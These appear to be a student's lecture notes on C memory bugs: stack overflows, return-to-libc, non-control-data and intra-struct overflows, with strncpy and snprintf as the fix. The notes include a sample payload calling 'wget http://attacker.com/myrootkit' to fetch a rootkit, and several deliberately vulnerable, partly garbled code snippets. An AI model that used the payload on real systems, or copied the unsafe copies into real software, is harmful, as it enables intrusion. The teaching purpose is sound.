Low Level Programming Bugs

Begin With C Bugs

1. Buffer Overflows:
   - Stack Code Injection
   - Return to the attacks (return oriented-programming)
   - Heap overflows

2. Double Frees

3. Integer Overflows

4. Format String Bugs

Stack Overflow: Classic Code Injection Attack

void getuser(int sock)
{
    char buf[1024];
    read(sock,buf,2048);  /* programmer should not have put 2048 here instead of 1024 */
}

<table>
<thead>
<tr>
<th>High Addresses</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Stuff</strong></td>
</tr>
<tr>
<td><strong>Sock</strong></td>
</tr>
<tr>
<td>(4 Bytes)</td>
</tr>
<tr>
<td><strong>Return address for sock</strong></td>
</tr>
<tr>
<td>(4 bytes)</td>
</tr>
<tr>
<td><strong>Buff</strong></td>
</tr>
<tr>
<td>(1024 Bytes)</td>
</tr>
<tr>
<td><strong>Top of Stack</strong></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Low Addresses</th>
</tr>
</thead>
</table>

The stack grows down, the heap grows up, (but data each of these segments still writes up) so when things are compiled they’re done at the highest address in the stack first and they grow down. The Stack Pointer in CPU points to the top of the stack. So as you add stuff like a return address, the Stack Pointer has to change where to point in memory.
So if you write something to buff that exceeds the 1024 buffer, like a string 1028 bytes big, then it will carry over into the Return Address section of the stack.

The username that the attacker sends over network can be binary executable code the length of buff(1024) and then at the end he’ll put <0x87654320> at the end so that part gets written into the return address. That way the computer will jump to that location in memory. Usually this way allows you to execute a shell or a wget to run or download something of the attacker’s choice at that specified location in memory.

*note the stack could get shifted around from machine to machine. This is because the environmental variables are different and are written at the top of the stack. This would mean everything is shifted down by the difference(value or lack of for these variables).

**Landing Pad/Strip** - If you're not sure exactly where in the stack this setup is occurring, the attacker can create a bunch of no-op statements in order to estimate where the buff starts approximately. But the range or amount of no-ops still has to be enough to fall over where the stack pointer points.

**Return to LibC Attack:**

Starts with a Buffer Overflow, during the likes of which the return address on the stack is replaced by the address of another instruction and an additional portion of the stack is overwritten to provide arguments to this function. This allows attackers to call preexisting functions in libc without the need to inject malicious code into a program. Ex System()

Example input into a program one is trying to exploit:
username =  " (1024 bytes long)wget http://attacker.com/myrootkit "<address of system() function> <Address of buffer goes here>
Our input of “ (1024 bytes long)wget http://attacker.com/myrootkit ”<address of system() function> <Address of buffer goes here> goes in buff.

What we need to do once the return happens is make the top of the stack above the return address look like this:

```
<table>
<thead>
<tr>
<th>Cmd Pointer to String</th>
</tr>
</thead>
<tbody>
<tr>
<td>Return Address</td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>
```

**Non-Control Data Overflows:**

Most attacks are control-data attacks, hence most defensive techniques are designed to protect program control/integrity. Non-Control data overflows are a type of non-control attacks, meaning they don’t shift control of the program but they still perform some desired attack. Non-control-data attacks can corrupt a variety of application data.

Example code:

```c
is_super_user(char *username)
{
    int result;
    char buf[1024];
    strcpy(buf, username);

dbLookup(username, userinfo);

    result = userinfo --> ID < 1024;

    strcpy(buf, username);
    .
    .
    ....... return result; }

/*If it returns Zero you’re not root, otherwise you’re root.*/
```

**Intra-Struct Overflows:**

Example Code:

```c
struct userinfo {
    char username[16];
    int is_admin;
}
```

```
is_admin
username
```

struct userinfo *p
struct login_use( char *username) {

    struct user_info * result = malloc(...);

    result → is_admin = .... ;

    strcpy (result → username, username);
    return result;  }

    

One way to solve most of these similar string related problems:

Use Strncpy();
Use Snprintf();

Strncpy() = limits the length of string.

-char * strncpy ( char * destination, const char * source, size_t num );

Snprintf() = only use this for string manipulation ** recommended.

-snprintf ( char *dest, int size, char *fmd,.....)

ex:      snprintf( buf, 1024, “%s : %d”,username,12);